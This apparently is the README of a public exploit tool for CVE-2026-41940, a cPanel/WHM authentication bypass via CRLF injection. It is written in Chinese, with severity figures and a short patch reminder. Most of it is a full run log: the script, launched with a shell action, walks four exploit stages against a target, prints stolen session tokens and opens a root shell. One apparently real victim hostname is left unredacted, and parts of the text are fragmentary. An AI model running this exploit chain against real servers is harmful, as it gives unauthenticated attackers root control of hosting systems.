CVE-2026-41940 是一个影响 cPanel 与 WHM 及 WP Squared 的严重身份验证绕过漏洞。
未经身份验证的远程攻击者可完全绕过登录，并获得服务器的完全管理（root/WHM）访问权限。
该漏洞在补丁发布前已被在野积极利用。
| 指标 | 数值 |
|---|---|
| CVSS 3.1 评分 | 9.8（严重） |
| CVSS 4.0 评分 | 9.3（严重） |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
披露时，约有 150 万个 cPanel 实例可能已暴露。
成功利用该漏洞可使攻击者：
如果利用成功，你应该会看到类似这样的输出：
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell
[sudo] password for kali:
██████╗ ██╗ ██╗██████╗ ██╗ █████╗ ██████╗██╗ ██╗ █████╗ ███████╗██╗ ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║ ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║ ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║ ███████║██║ █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║ ██╔══██║██║ ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║ ██║╚██████╗██║ ██╗██║ ██║███████║██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
4-stage: preauth → CRLF inject → propagate → verify → post-exploit
Author : Ashraf Zaryouh / @0xBlackash
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : shell
13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [ OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [ OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200 {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! https://xx.xx.xx.xx:2087
13:41:24 [PWND] Token : /cpsess2634xxxx267
13:41:24 [PWND] Session : :W43DhFApxxxD8Jdw...
13:41:24 [PWND] Version : 11.86.0.40
13:41:24 [PWND] API URL : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell
════════════════════════════════════════════════════════════
WHM Shell — server.xxxxxxx.xx
Version: CVE-2026-41940 | Auth: CRLF bypass
Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════
[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.
══════════════════════════════════════════════════════════════════════
CVE-2026-41940.py — CVE-2026-41940 Scan Complete
Time: 13.9s · Targets: 1
──────────────────────────────────────────────────────────────────────
⚡ 1 VULNERABLE TARGET(S)
Target : https://xx.xx.xx.xx:2087
Version : 11.86.0.40
Token : /cpsess263xxxx267
API URL : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
Session : :W43DhFApxxxD8Jdw...
Evidence : {"version":"11.86.0.40"}
══════════════════════════════════════════════════════════════════════
补丁于 2026 年 4 月 28 日发布
建议立即采取行动
2082、2083、2086、2087 的公共访问以 ❤️ 为安全社区打造
最后更新：2026 年 5 月